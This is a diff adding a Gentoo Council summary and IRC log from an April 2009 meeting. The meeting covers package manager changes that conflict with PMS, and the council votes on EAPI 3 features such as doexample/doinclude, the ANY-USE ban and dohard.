+dev-zero: here
+leio: here
+lu_zero: here 
+tanderson(secretary): here
+
+Topics:
+===========
+
+Technical Issues:
+
+    - Portage changing behaviour without EAPI bumps:
+        David Leverton(dleverton) requested that the council mandate that portage
+        is not allowed to change behaviour that is specified in PMS, as has
+        occurred a few times in the past.
+
+        Conclusion:
+            The council decided that if PMS-conflicting changes occur in
+            package managers then the council can mandate that versions that
+            conflict will be masked. The council may take into account
+	    extenuating circumstances.
+
+    - EAPI 3:
+        EAPI 3's features have been finalized and its final approval is
+        pending portage support for the most important features. Some less
+	critical features may be removed if they cannot be accomplished in
+	a reasonable timeframe and are holding up the introduction of the
+	critical features. This summary of features lists only those features
+	discussed on the April 23 meeting of the Gentoo Council.
+
+        - New utility functions: 'Doexample'/'Doinclude'
+            Some council members believed that adding these utility functions
+            would complicate things for new ebuild authors while not providing
+            any especially needed features.
+
+            Conclusion:
+                Voted to not be included in EAPI 3.
+
+        - Ban || ( use? ( ... ) ... )
+            Mart Raudsepp(leio) argued that banning such constructs is
+            strictly a QA issue and shouldn't be covered by PMS, while others
+            argued that there are no valid use cases for the construct and
+            that you need appropriate rules to parse RDEPEND/DEPEND.
+
+            Conclusion:
+                It was decided that a repoman warning would be most
+                appropriate for this case and that the topic of banning it in
+                an EAPI can be revisited for EAPI 4.
+
+        - Ban 'dohard'
+            Currently dohard cannot be guaranteed to work across filesystems
+            and few packages use it.
+
+            Conclusion:
+                Voted to be banned in EAPI 3.
+
+        - New econf options,
+          '--disable-dependency-tracking'/'--enable-fast-install'
+            The addition of '--enable-fast-install' was opposed because it is
+            already a libtool default and as such is useless. No arguments
+            were made against '--disable-dependency-tracking'.
+
+            Conclusion:
+                '--disable-dependency-tracking' was voted in, while
+                '--enable-fast-install' was voted out.
+
+        - Add --if-compressed option to unpack().
+            
+            Conclusion:
+                Voted to be not included in EAPI 3.
+
+        - Slot Operator Dependencies(:= and :*)
+            
+            Conclusion:
+                 Voted to be included in EAPI 3. Mart Raudsepp has remaining
+                 queries about the final syntax.
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090423.txt b/xml/htdocs/proj/en/council/meeting-logs/20090423.txt
new file mode 100644
index 00000000..1935ff82
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090423.txt
@@ -0,0 +1,707 @@
+20:00 <@dberkholz> ok, let's get started
+20:00 <@dberkholz> who's here
+20:00 <@dertobi123> <-
+20:00 <@dev-zero> here
+20:00 <@leio-dl> here
+20:01  * lu_zero is here
+20:02 <@dberkholz> Betelgeuse, Cardoe: check in post-2000 please
+20:02 <@Betelgeuse> \o/
+20:02 <@dberkholz> tanderson: here?
+20:03 <+tanderson> yeup
+20:03 <@dberkholz> ok, that's everyone but cardoe
+20:03 -!- ferringb [n=ferringb@67.164.75.74] has joined #gentoo-council
+20:04 <@dberkholz> seems people really want to cover the "Portage changing behavior in ebuild-visible ways
+20:04 <@dberkholz> "
+20:04 <@dberkholz> topic, and we heard positively back from zmedico, so my feeling is that we can do something worthwhile with it quickly
+20:04 <@dberkholz> the proposal is that we vote that this isn't allowed to happen in the future and will be reverted if so
+20:05 <@dberkholz> are people ready to vote on that?
+20:05 <@dev-zero> yes
+20:05 <@dertobi123> yes and yes
+20:05 <@lu_zero> yes^2
+20:05 <@dev-zero> and yes for the vote
+20:05 <@leio-dl> what is really "this" is the vague thing here imho. Pretty subjective matter at times
+20:06 <@Betelgeuse> zmedico: has changed things on ways that are on no way subjective
+20:06 <@Betelgeuse> like changing order of phaes
+20:06 <@Betelgeuse> phases
+20:06 <@leio-dl> sure, those should get communication
+20:06 <@Betelgeuse> they should not be done at all
+20:06 < ciaranm> uhm. not "communication". "reverted".
+20:06 <@Betelgeuse> that's why we have EAPI
+20:07 <@dev-zero> it's not a one-man show anymore
+20:07 <@leio-dl> but lets make sure we aren't going to end up having to discuss everything done or have everything done be an EAPI feature, you see where I'm going maybe. Otherwise, yes
+20:07 < jmbsvicetto> Are you guys ready to "forbid" portage to have new features?
+20:07 <@leio-dl> No
+20:07 <@dberkholz> as far as i can tell, ebuild-visible features is pretty much the definition of an EAPI
+20:07 < ciaranm> jmbsvicetto: uh, no-one said anything about that
+20:08 <@Betelgeuse> Portage should not change behaviour in EAPI 0.
+20:08 < jmbsvicetto> ciaranm: well, restrict the above sentence to "if those features happen to have ebuild-visible effect"
+20:08 <@leio-dl> for example phase order default isn't really ebuild-visilbe
+20:08 <@dberkholz> not counting optionally handled stuff etc.
+20:08 < ferringb> hate to point out the obvious, but why not just have it such that the next time this occurs it's brought to the council, instead of trying to forbid portage from doing a vaguely defined thing
+20:08 <@Betelgeuse> leio-dl: what?
+20:08 < ciaranm> jmbsvicetto: read dleverton's proposal.
+20:09 < jmbsvicetto> ciaranm: was it sent today?
+20:09 <@Betelgeuse> leio-dl: ebuilds wont' break if src_install comes before src_compile?
+20:09 < ferringb> changing the mtime preservation (which is ebuild visible but not eapi mandated) is a good example of why this vagueness will be problematic
+20:09 < ciaranm> jmbsvicetto: no. long before that.
+20:09 <@leio-dl> Betelgeuse: nevermind, I was thinking completely different thing
+20:09 <@leio-dl> phase order change is ebuild visible. What was the change exactly btw?
+20:09 < Ford_Prefect> ++ on what ferringb said. Rather than stifle changes we don't even know yet, let's talk about them when they actually (need to) happen.
+20:09 <@Betelgeuse> leio-dl: he changed the order while updating
+20:09 <@dberkholz> the wording might be a touch off.
+20:10 < ciaranm> ferringb: we're looking to get assurances that when it happens, we can get it reverted quickly, rather than having to wait months for a decision by which point there's an even bigger mess to fix
+20:10 <@dberkholz> we could clarify it to ebuild-visible things that are specified by an EAPI or conflict with something specified by an EAPI
+20:10 < jmbsvicetto> ciaranm: I understand the concern about package.mask.d changes and agree about that, but I'm worried this might end up in preventing portage development
+20:10 < ferringb> ciaranm: I've been there for each of those scenarios; going to the council (which has a two week cycle roughly) is fast enough
+20:10 -!- codejunky [i=jan@nerdig.org] has left #gentoo-council []
+20:10 < ciaranm> jmbsvicetto: and if it ends up doing so in such a way that's causing problems, we can revisit it for those issues. but given that we have EAPIs, there's very likely not a problem.
+20:11 < ciaranm> ferringb: that hasn't worked.
+20:11 <@leio-dl> I think the important bit is to simply not have that unwarranted change end up in a stable version portage upgrade
+20:11 <@leio-dl> more or less
+20:11 < ferringb> ciaranm: if it fails next time around, fine, going for the heavy handed ruleset.  this is keeping in mind I agree with your point, but not your solution here.
+20:11 <@lu_zero> ciaranm your concern is just for stable portage and api or every portage released?
+20:11 < ciaranm> lu_zero: my concern is when portage makes arbitrary, ebuild-visible, PMS-contradicting changes because zmedico thinks it's a good idea
+20:11 <@dberkholz> ok, here's an idea that might satisfy people
+20:11 < darkside_> man, give zac a break. he didn't brick everyone's gentoo system. i didn't even notice this change that is causing so much concern
+20:11 <@dberkholz> the change has to be reverted until the next council meeting
+20:11 < ciaranm> such as, say, phase order changes.
+20:12 < ciaranm> darkside_: you didn't have to go around tidying up after him
+20:12 < ferringb> that change was also near a year back
+20:12 <+tanderson> darkside_: yeah, I'd agree. but it still shouldn't have happened and things like that have the possibility to brick things
+20:12 < Ford_Prefect> Why does it need to wait for a council meeting for a decision? Can the discussion and decision not be made on-list?
+20:13 <@Betelgeuse> darkside_: We shouldn't gamble with users systems.
+20:13 < ferringb> dberkholz: s:reverted:unreleased:
+20:13 < jmbsvicetto> ciaranm: I think the real problem is for portage to introduce new features that cause issues for established EAPIs and that people start relying on
+20:13 < ferringb> dberkholz: and that I personally could live with, suspect zac also.
+20:13 < jmbsvicetto> ciaranm: The problem isn't the feature in itself but that people start relying in it
+20:13 <@dberkholz> ferringb: i guess reverted from the user perspective. you can't unrelease things, but you can release a bump that reverts the change.
+20:14 < ciaranm> what we need is a "this won't happen, and if it does it will get reverted quickly, and if something really needs to break that rule then it'll do so after careful discussion and planning", not "well the council might eventually step in, but not if by that point the mess has already happened, in which case everyone else has to catch up"
+20:14 <@dberkholz> can someone propose a single wording that we can just vote on?
+20:14 <@dberkholz> this is turning into a long discussion
+20:14 < solar> don't be afraid to talk
+20:15 <@Betelgeuse> solar: if there was something to talk about
+20:15 < ciaranm> "If ebuild-visible, PMS-conflicting changes occur in Portage, the Council will make sure they get reverted quickly. If special circumstances come along, they will be dealt with specially."
+20:15 < ferringb> dberkholz: you can pull it from the tree actually; also note that people are watching the changes occuring in svn, so it may not even hit the point of a release.
+20:15 <@Betelgeuse> or does some council feel that he doesn't understand the issue?
+20:15 <@Betelgeuse> +member
+20:15 < solar> there is clearly if people are talking about it and don't see eye to eye
+20:15 < ferringb> ciaranm: drop ebuild visible
+20:15 <@lu_zero> I'd specify portage version
+20:16 < ciaranm> "If PMS-conflicting changes occur in Portage, the Council will make sure they get reverted quickly. If special circumstances come along, they will be dealt with specially."
+20:16 < Ford_Prefect> ciaranm's wording sounds reasonable. The second sentence seems redundant, really, since that is implicitly the council's job.
+20:16 < ferringb> mostly suffices, even if I think this seriously heavy handed for issues mostly gone these days.
+20:16 < tove> s/Portage/PM/
+20:16 -!- mroconnor [n=MarcO@unaffiliated/mroconnor] has joined #gentoo-council
+20:16 < ferringb> tove: ++
+20:17 <@Betelgeuse> council has no control over other PMs
+20:17 < ciaranm> for issues that're already gone we've already tidied up the mess
+20:17 < ferringb> Betelgeuse: council implicitly does via punting the versions out of gentoo-x86
+20:17 < ciaranm> things like phase order changes are a lost cause now
+20:17 <@leio-dl> we could have control of what version and stuff is in gentoo-x86
+20:17 < ferringb> Betelgeuse: that's the same control the council has over portage realistically
+20:17 < ferringb> nail *all* PM's with that rule and I'll be very happy
+20:17 <@leio-dl> you break it in pkgcore new version, we p.mask it
+20:17 < ferringb> exactly
+20:17 <@Betelgeuse> ferringb: well we control who has access to Portage svn etc
+20:17 <@Betelgeuse> ferringb: or Gentoo does in general
+20:18 <@lu_zero> so we can control what's in portage
+20:18 < jmbsvicetto> Betelgeuse: And we don't control gentoo-x86?
+20:18 <@dertobi123> yep
+20:18 < ferringb> Betelgeuse: all that truly matters here is if it gets released and used- meaning gentoo-x86.
+20:19 <@dertobi123> so, make it "in any Package Manager"Ã? can we agree on that?
+20:20 <@Betelgeuse> fine to me if ferringb and ciaranm don't oppose
+20:20 <@dev-zero> ++
+20:20 < ciaranm> wfm
+20:21 <@leio-dl> "If PMS-conflicting changes occur in a package manager, the council will make sure the affected versions will be package.masked in gentoo-x86 at the very least". Something like that?
+20:21 < ciaranm> although i think it's silly. the whole problem is only there because portage's influence means if portage changes everyone else has to.
+20:21 <@dberkholz> so how's this "If PMS-conflicting changes occur in a package manager, the council will ensure that conflicting versions are not generally available in Gentoo, excepting extenuating circumstances."
+20:21 < ferringb> dberkholz: masked please, although preferably not even in gentoo-x86
+20:21 < jmbsvicetto> ciaranm: If someone were to rely on changes done on another PM in the tree, we would get the same issue
+20:21 < ferringb> dberkholz: extenuating is fine also.  frankly sorting it out when it occurs works for me also
+20:22 < ciaranm> jmbsvicetto: yeah, but that's never happened and realistically won't happen
+20:22 < jmbsvicetto> Cardoe: The problem is people relying on "incompatible changes"
+20:22 < ferringb> it's happened w/ paludis
+20:22 < ferringb> version comparison differences come to mind
+20:22 < jmbsvicetto> Cardoe: sorry
+20:22 < ferringb> pretty sure I've triggered it at least once unintentionally in the past for pkgcore also
+20:22 < jmbsvicetto> ciaranm: ^^
+20:22 < jmbsvicetto> The -r0 stuff, right?
+20:23 <@dberkholz> happy with this, then? "If PMS-conflicting changes occur in a package manager, the council will ensure that conflicting versions are masked, excepting extenuating circumstances."
+20:23 < ferringb> no, actual version comparison, how '0' was dealt with
+20:23 < ciaranm> -r0 was a pkgcore bug, and paludis behaved exactly as pms specified
+20:23 < Ford_Prefect> dberkholz, ++
+20:23 < ciaranm> the '0' thing varied between portage releases at that point
+20:23 < ciaranm> dberkholz: fine by me
+20:23 <@dertobi123> dberkholz: happy with that
+20:23 <@dev-zero> dberkholz: ++
+20:23 <@dberkholz> other council members?
+20:23 <@lu_zero> I'm fine
+20:23 <@leio-dl> zmedico: how do you feel about that?
+20:24 < ferringb> dberkholz: wfm.
+20:24 <@Betelgeuse> sure
+20:24 < zmedico> leio-dl: sounds reasonable
+20:24 <@dberkholz> i'm good with that.
+20:24 <@leio-dl> then fine by me
+20:24 <@dberkholz> ok, let's get on with it
+20:24 <@dberkholz> EAPI=3 proposal
+20:24 <@dberkholz> you saw all the features with "no" votes
+20:25 -!- EvaSDK [n=eva@gentoo/developer/evasdk] has joined #gentoo-council
+20:25 <@dev-zero> you can change my "no" for docompress to a "whatever"
+20:25 <@dberkholz> i propose that any features with a "no" get dropped, unless people voting no are willing to change their votes
+20:25 < ciaranm> dberkholz: some features are considered both "no" and "critical"
+20:25 <@dberkholz> yeah, i'm looking forward to that one.
+20:26 <@dberkholz> ciaranm: some meaning more than just the compression one?
+20:26 <@dberkholz> because that's now a whatever
+20:26 < ciaranm> mm, the rest are mostly one no with a bunch of yesses
+20:27 < ciaranm> dropping all of those would be rather crippling
+20:27 <@Betelgeuse> I don't see why one no should get a feature dropped.
+20:27 < Arfrever> You could vote separately for every feature.
+20:27 <@dberkholz> the others i see are ANY-USE, DOEXAMPLE/DOINCLUDE, BANNED-COMMANDS (dohard/dosed), UNPACK-IF-COMPRESSED
+20:27 < ciaranm> for most of the features there's a clear majority
+20:27 <+tanderson> Betelgeuse++
+20:28 <@leio-dl> I explained why that majority is not that meaningful in my e-mail
+20:28 <@dberkholz> Betelgeuse: yeah, i guess my real intention is to make sure everyone knows *why* someone is voting no
+20:28 <@leio-dl> many of the features with no's are not features but banning, tolo
+20:28 <@leio-dl> too*
+20:28 <@dberkholz> if they take that into account and still choose to vote for it, that's fine
+20:28 < ciaranm> dropping anything with a single "no" is going to cripple EAPI 3, and postponing's a really bad idea
+20:29 < bonsaikitten> so let's drop eapi3 and wait until people can agree.
+20:29 <@dberkholz> a la src_install DOCS, i explained my opinion and most people just didn't agree
+20:29 < bonsaikitten> I like that idea
+20:29 <@dev-zero> I agree there, and I could have argued the same way as leio for controllable-compress, but seeing that people really seem to want it led me decide to accept it
+20:29 < ciaranm> bonsaikitten: please troll somewhere else, we're trying to get this settled
+20:30 < ciaranm> the two 'controversial' ones seem to be doexample and doinclude
+20:30 < bonsaikitten> ciaranm: so am I. Stop throwing mud.
+20:30 < ciaranm> which fortunately no-one really seems to care overly much about
+20:30 < Ford_Prefect> dberkholz, why not assign 5 minutes per feature for discussion. If there is consensus at the end, go ahead, else drop for further discussion.
+20:30 <@dberkholz> so, let's run through the "no's" quick now that everyone is definitely listening
+20:30 < peper> 5x24 - gl with that ;]
+20:30 <@leio-dl> maybe we all can find some dozen more minutes for the meeting if necessary
+20:30 < peper> 25 even
+20:31 <@Betelgeuse> peper: just nos
+20:31 <@leio-dl> the ones with any 'no's is considerably smaller
+20:31 <@dberkholz> let's start with doexample/doinclude
+20:31 <@Betelgeuse> we use doexample quite often with java
+20:31 <@dberkholz> my feeling is that these don't do anything interesting that insinto+doins can't do easily
+20:32 < ciaranm> i get the impression that opinions on doexample and doinclude are either "sure, why not, there'd be a use for that" or "meh, i think it's pointless"
+20:32 <@dberkholz> same permissions as any other arbitrary normal file
+20:32 <@leio-dl> my feeling is the same, especially for doinclude
+20:32 < Arfrever> dberkholz++
+20:32 <@leio-dl> (on top of that with doinclude you really shouldn't need to use it but have the build system fixed imho)
+20:32 <@Betelgeuse> dberkholz: insinto+doins can do that but it's much easier for newbies to write a single call
+20:32 <@dberkholz> it's more material to learn that doesn't really simplify anything complex
+20:32 <@dertobi123> indeed
+20:33 <@Betelgeuse> dberkholz: you need a subshell if you don't want insinto sticking to exampels dir
+20:33 <@leio-dl> dberkholz++
+20:33 < ferringb> random suggestion.... why not set aside a meeting for *just* eapi3 if y'all are low on time.  dislike the notion it needs to go through now, and nothing can be dropped.
+20:33 < ciaranm> unless anyone has an opinion other than "mildly useful" or "mildly pointless", how about just having a vote right now and going on majority?
+20:33 <@dev-zero> ferringb: please, there isn't much left we have to discuss
+20:33 <@Betelgeuse> How about doinstall <dir> <stuff> ?
+20:33  * leio-dl has time for 2-3 more hours :)
+20:34 <@dberkholz> if i thought it was mildly pointless, i would've said whatever instead of no
+20:34 <@Betelgeuse> well food for later eapis
+20:34 < ferringb> Betelgeuse: exactly.
+20:34 <@dberkholz> other council members got a useful, new opinion on doexample/doinclude?
+20:35 <@dberkholz> otherwise let's take a vote and go with majority, since the idea is that we've spoken our minds
+20:35 <@Betelgeuse> I vote yes
+20:35 <@dev-zero> yes
+20:35 <@dberkholz> no
+20:35 <@leio-dl> maybe they should be taken separately
+20:35 <@leio-dl> I vote no
+20:35 <@leio-dl> for both
+20:35 <@dertobi123> no for both
+20:35 <@dberkholz> sure, if anyone has a split vote, feel free to say so.
+20:35 <@lu_zero> I'd no both since Betelgeuse suggested something that could replace them
+20:36 <@dberkholz> that's all 6 of us who are around, 2 yes 4 no
+20:36 <@dberkholz> so it's in
+20:36 <@dberkholz> let's move on to ANY-USE
+20:36 <@leio-dl> I think you mean it's out?
+20:36 <@dberkholz> errr, yes.
+20:37 <@dertobi123> heh
+20:37 <@leio-dl> ANY-USE I think is me
+20:37 < ciaranm> both out? lemme update the spreadsheet
+20:37 <@dberkholz> leio-dl: your reason for voting "no" once more, please?
+20:37 <@dberkholz> tanderson: just to be perfectly clear when you're making the summary, doexample/doinclude will not be in EAPI=3.
+20:37 <@leio-dl> I strongly believe this is not something that an EAPI should be dictating. It's a QA issue if used for the purpose as described, not something that must be completely forbidden hard with an EAPI rule
+20:38 <@Betelgeuse> ciaranm: is || ( foo? ( a ) b ) valid btw?
+20:38 < ciaranm> Betelgeuse: currently yes, but it shouldn't be, and won't be with ANY-USE
+20:38 <@leio-dl> Make a repoman check, what is the reason to have this an EAPI item
+20:38 <+tanderson> dberkholz: k
+20:38 < ciaranm> leio-dl: the reason is that it's already special-cased in PMS, and we want to remove that special case
+20:39 <@dev-zero> since there is no use case you could solve with it
+20:39 <@dev-zero> but you generate problems by using it
+20:39 <@leio-dl> how are you sure about that?
+20:39 <@leio-dl> that there is no use case. Why should it be said in PMS
+20:39 <@leio-dl> there is no use case for other constructs as well conceptually
+20:39 <@Betelgeuse> leio-dl: because Portage supports it in EAPI 0
+20:39 <@dberkholz> maybe to rephrase, nobody has thought of a use case for it and devs do create real problems when trying to use it
+20:39 < ciaranm> other constructs aren't special-cased in PMS currently
+20:39 <@Betelgeuse> leio-dl: so if you are making a diff against EAPI 0 you must ban it
+20:39 <@leio-dl> so it should be a repoman warning or error
+20:40 < ciaranm> dberkholz: it's not just that there's no use case thought of. it's that there's no way you can use it correctly.
+20:40 <@leio-dl> why should we set a precendence that EAPI's can say what kind of RDEPEND combinations are valid or not
+20:40 < ciaranm> leio-dl: it's already something mandated by PMS
+20:40 <@leio-dl> if you give me a bit, I can come up with many more nonsensical constructs there
+20:40 < ciaranm> leio-dl: you can't cope up with any nonsensical constructs that have special wording in PMS to deal with them
+20:40 <@Betelgeuse> You need rules to be able to parse RDEPEND.
+20:41 <@dberkholz> does that mean we should be changing the meaning of || instead of banning a syntax?
+20:41 -!- Thargor [n=quassel@unaffiliated/thargor] has quit [Nick collision from services.]
+20:41  * ferringb strongly suspects that via appropriate checks in the ebuild it is possible to use it properly.  not saying people do that however.
+20:41 -!- Thargor [n=quassel@unaffiliated/thargor] has joined #gentoo-council
+20:41 < ciaranm> dberkholz: all we're doing, in effect, is moving part of ||'s meaning from being a convoluted mess to just making some of it explicitly illegal
+20:41 <@leio-dl> exactly, there can be cases where it _could_ be used fine
+20:41 < ferringb> hence error/warning being my preference, and banning if it proves to be a non issue by the time of the next eapi.
+20:42 < ciaranm> leio-dl: no there aren't
+20:42 <@lu_zero> anybody checked how widely it is used?
+20:42 <@leio-dl> I believe zmedico agrees with ferringb?
+20:42 <@Betelgeuse> ciaranm: Is there a valid syntax for use? inside || ( ) ?
+20:42 < ciaranm> lu_zero: three or four places in the tree last time i looked, all wrong, and one example in the docs, which is wrong
+20:42 <@dberkholz> my understanding is that because of the difference between || preferring first-installed and use flags preferring what USE is, you can never deterministically pull in the right deps
+20:42 < zmedico> leio-dl: yeah, I'd prefer warning
+20:42 < ciaranm> Betelgeuse: as a direct child, it's syntactically legal at present but can't be used correctly
+20:43 < darkside_> bug 168179
+20:43 < Willikins> darkside_: https://bugs.gentoo.org/168179 "Packages misusing || ( use? ( ) ) constructs"; Gentoo Linux, Applications; NEW; ciaran.mccreesh@googlemail.com:qa@g.o
+20:43 < ferringb> dberkholz: has_version... like I said, via appropriate ebuild voodoo...
+20:43 <@dberkholz> ferringb: how can you use has_version in DEPEND?
+20:43 < ciaranm> you can't even has_version it correctly because there can be multiple matches
+20:43 <@leio-dl> yes, you prefer one of them
+20:43 < ferringb> dberkholz: has_version checking w/in the ebuild as to which actually was used.  for hard linkages (gcc and friends) he's right
+20:43 < ferringb> dberkholz: for dynamic imports, it's a different story imo
+20:43 <@leio-dl> you can do that in python
+20:44 <@dberkholz> by the time you know which was used, you've already pulled in an irrelevant package in DEPEND that you had a USE flag for but didn't get used in the ||
+20:44 <@leio-dl> they actually use code
+20:44 <@leio-dl> try:
+20:44 < ferringb> or at least a muddier story that makes this grey
+20:44 <@leio-dl>   import foo
+20:44 <@leio-dl> except:
+20:44 <@leio-dl>   import bar
+20:44 < darkside_> looks like 6 ebuilds are still in violation? really a reason to be arguing about this?
+20:44 < ferringb> elementtree/celementtree/python:2.6 is an example
+20:44 < ciaranm> darkside_: we want to remove a whole load of messy special-casing, so yes
+20:44 < ferringb> pkgcore would have such a dep if it weren't for the fact we bundle a fallback ;)
+20:44 <@leio-dl> that special casing isn't going to go anywhere
+20:44 <@dberkholz> any council members still unclear on the implications of this?
+20:45 <@dberkholz> if not, we might as well vote
+20:45 <@dev-zero> leio-dl: wrong, in general an ebuild should remove the option which hasn't been selected, even if changeable at runtime
+20:45 <@leio-dl> so to reiterate, there are valid use cases for this
+20:45 <@Betelgeuse> Well could someone tell me why flatten use and then do || ( ) norma doesn't work if there are multiple children
+20:45 <@Betelgeuse> I was only thinking with a single use? children
+20:45 < ciaranm> Betelgeuse: did you see the example i posted to the list when this first came up?
+20:46 <@Betelgeuse> ciaranm: that's probably some time ago and I have already forgotten
+20:46 <@Betelgeuse> ciaranm: do you have an archive link?
+20:46 < ciaranm> Betelgeuse: http://archives.gentoo.org/gentoo-dev/msg_4b2d8e11cb80aba847b8ab687ab5af47.xml
+20:46 <@leio-dl> you have a dynamic language. You allow something to be preferred by a USE flag (possibly an extra dep). The package itself can work dynamically with either anyway. Hence that syntax is exactly what is proper to express all of that
+20:47 <@dev-zero> leio-dl: no, it's not. example: blueman
+20:47 < ciaranm> leio-dl: no, it's not.
+20:47 <@leio-dl> blueman?
+20:47 < ciaranm> leio-dl: either you use a simple || ( ) dep, or you use a set of use? deps so you know which you're getting
+20:47 <@leio-dl> you don't need to know that
+20:48 <@leio-dl> it is irrelevant
+20:48 <@dev-zero> leio-dl: check the ebuild, reason why even for dynamic languages such switching may be harmful
+20:48 <@leio-dl> it works with both
+20:48 < ciaranm> leio-dl: if you don't need to know it, you use || ( ) on its own
+20:48 < ciaranm> leio-dl: if you do need to know, you use the use construct expanded to what you really mean
+20:48 <@dev-zero> vote please?
+20:48 <@leio-dl> dev-zero: what category is that?
+20:48 <@dev-zero> leio-dl: net-wireless
+20:49 <@dev-zero> leio-dl: but that doesn't really belong in this meeting
+20:49  * ferringb notes again, pkgcore's xml usage is a valid counter example to this
+20:49 < Arfrever> There's only: network? ( || ( net-dns/dnsmasq =net-misc/dhcp-3* ) )
+20:49 < ciaranm> ferringb: || ( ) with no use? is the correct way of doing that
+20:50 < ciaranm> ferringb: if you add in the use?, all you do is break up-front repeatability
+20:50 < ferringb> ciaranm: obviously folk disagree on the 'correct' there.
+20:50 <@Betelgeuse> I vote no and make this go to repoman then.
+20:50 < ciaranm> ferringb: those people are missing the implications of lack of up-front repeatability
+20:50 < Arfrever> dev-zero: What is exactly wrong in blueman?
+20:51 <@Cardoe> tanderson: mark me as basically missing it.
+20:51 < ferringb> ciaranm: up front repeatability isn't there to begin with unless the vdb is in the exact same state, resolver algo hasn't changed, etc.
+20:51 <@dev-zero> Arfrever: not now
+20:51 <@leio-dl> the settings are stored in different place depending on which
+20:51 <@Betelgeuse> But I am not strongly opionated either way.
+20:51 < ciaranm> ferringb: if a user has USE=-foo, but has libfoo installed, does pkgcore still use libfoo if it's available?
+20:51 -!- mroconnor [n=MarcO@unaffiliated/mroconnor] has quit [Connection timed out]
+20:52 < ciaranm> ferringb: assuming libfoo is the first choice, of course
+20:52 < ferringb> ciaranm: in cases of this sort, ||() constructs basically become ordered preference
+20:52 <+tanderson> Cardoe: yep, you were more than 15 minutes late anyway I /think/
+20:52 < ciaranm> ferringb: simple question. simple answer please?
+20:53 <@Cardoe> tanderson: I was.
+20:53 <+tanderson> goodie, my clock's not off then
+20:53 <@leio-dl> the USE is in there something that allows the user to opt out or in of a provider. An ordered preferences, yes
+20:53 < ferringb> ciaranm: the underlying code is still going to do an ordered set of imports till it finds one that works- via ||() w/ conditionals it's specifying the preference.  yes, because of ||() behaviour it's possible for it to choose something other then leftmost- that's more a resolver choice however
+20:54 <@dberkholz> i've gotta step away for a few, anyone feel free to bring it to a vote
+20:54 < ciaranm> so basically if we're using this construct for dynamic things as leio-dl and ferringb have suggested, the user specifying USE=-foo but having foo installed may result in foo being used anyway, and the package manager thinking it's not used. so, again, no right way of using it.
+20:54 < loki_val> Please ban this feature. It makes my head hurt trying to figure it out.
+20:54 < ferringb> loki_val: heh
+20:54 <@leio-dl> it doesn't matter
+20:54 <@leio-dl> if the package manager thinks its used or not
+20:55 < ferringb> ciaranm: if you'd really like the import list to be pruned down to exactly what the ||() was at the time of merging, it can be done.  reason it isn't is because that's generally pointless to do
+20:55 <@leio-dl> the package itself works with either one, as long as one of them is available, which is what a ||() construct is about
+20:55 <+tanderson> loki_val: hehe, :)
+20:55 < ciaranm> leio-dl: uh, i don't think you've thought that through
+20:55 < ferringb> warn/error it, presuming no real world screaming after an eapi cycle, punt it.
+20:55 < ferringb> for eapi deprecation of most stuff I kind of prefer that approach anyways
+20:55 < ferringb> (where viable of course)
+20:56 < ciaranm> leio-dl: you're saying, in effect, that it's fine for packages to list utterly incorrect dependencies, when listing them correctly instead is even easier
+20:56 <@leio-dl> ciaranm: except they are not incorrect
+20:56 <@Betelgeuse> add a warning now and let's drop it in EAPI 4 if not valid usage comes up
+20:56 < ciaranm> leio-dl: read what i just said. they are.
+20:56 <@leio-dl> read what I said, they are not? This goes nowhere like that.
+20:57 < ciaranm> leio-dl: your "try to import foo, then bar" example is expressed as || ( foo bar ), not || ( foo? ( foo ) bar? ( bar ) )
+20:57 <@leio-dl> My vote is that we make it a repoman warning instead, and see for EAPI-4
+20:57 < ferringb> ciaranm: you're pointing at all fault w/ ||() in general btw, consider multiple satisfiers available...
+20:57 < ciaranm> ferringb: || ( ) in general is at least well defined
+20:57 < ferringb> Eh.
+20:57 <@leio-dl> the USE check adds a preference
+20:57 < ferringb> weak counterarg, that one.
+20:57 < ciaranm> if a package does "try to import foo, then bar", that maps exactly onto what || ( foo bar ) does
+20:57 <@leio-dl> it can be useful in certain embedded scenarios, for example
+20:58 < ferringb> either way
+20:58 <@dertobi123> ok, dito for repoman warning now and let's take another look for eapi-4
+20:58 < ciaranm> leio-dl: er, the preference is ignored, though
+20:58 <@leio-dl> but foo is something that needs a python library that has a global USE flag for it
+20:58 < ferringb> ciaranm: suspect you've made your point, know I've made my point.  might as well leave it to them to decide.
+20:58 <@lu_zero> I agree with leio-dl first have a repoman check then bring it back to eapi-4
+20:59 <@dev-zero> well, I'd vote for ban in eapi-3, but since that doesn't get a majority I'm fine with first repoman check and then ban (to get at least something)
+20:59 <+tanderson> I gotta run to a college seminar(trying to steal my money.) I'll work(hopefully get out) on the summary tomorrow
+20:59 <@dev-zero> tanderson: ok, thanks
+21:00 <@leio-dl> ok, so I think we have leio, lu_zero, dertobi123 and Betelgeuse for repoman warning and revisit EAPI enforcement in EAPI-4
+21:00 <@dertobi123> right
+21:00  * ciaranm marks that on the spreadsheet
+21:00 <@Betelgeuse> I would like to see us finishing the list today so let's continue?
+21:00 <+tanderson> dev-zero: np
+21:00 <@dev-zero> Betelgeuse: jup
+21:01 <@dev-zero> next: banned-commands?
+21:01 <@leio-dl> Betelgeuse: too late, the day just changed for me ;p
+21:01 <+tanderson> hah
+21:01 <@Betelgeuse> leio-dl: same here
+21:01 <@leio-dl> ok, so we have 24 hours.
+21:01 <@dertobi123> Betelgeuse: uhrm, i need to get up again in a few hours ...
+21:02 <@dberkholz> alright
+21:02 <@Betelgeuse> Well if there's 4 of use around we can vote on what's left :)
+21:02 <@leio-dl> for banned commands the only "no" is for dohard specifically I believe
+21:02 <@dberkholz> i'm back now
+21:02 <@Cardoe> leio: you can add me to the list for enforcement for EAPI=4
+21:02 <@dberkholz> next question is part ofBANNED-COMMANDS dohard
+21:02 < jmbsvicetto> Cardoe: You may want to direct that to tanderson
+21:03 <@dberkholz> quick on the trigger there. leio objected to dropping dohard, people didn't seem to care about dosed one way or the other.
+21:03 <@leio-dl> dohard is useful, it just doesn't guarantee a hard link if they are across partitions. Portage is now fixed to deal with the situation when it is temporarily in different partitions like PORTAGE_TMPDIR or $D
+21:03 <@leio-dl> which was a bug that simply needed fixing, for other reasons mainly
+21:03 <@Cardoe> jmbsvicetto: he already left
+21:04 <@leio-dl> so dohard should now behave quite good, with probably a guarantee to work fine if it's a link to the same directory. Don't see why we should ban a useful function that has no alternative
+21:05 <@leio-dl> (other than calling ln directly, but the PM can deal better with any portability concerns)
+21:05 <@Betelgeuse> leio-dl: in a single dir use ln directly
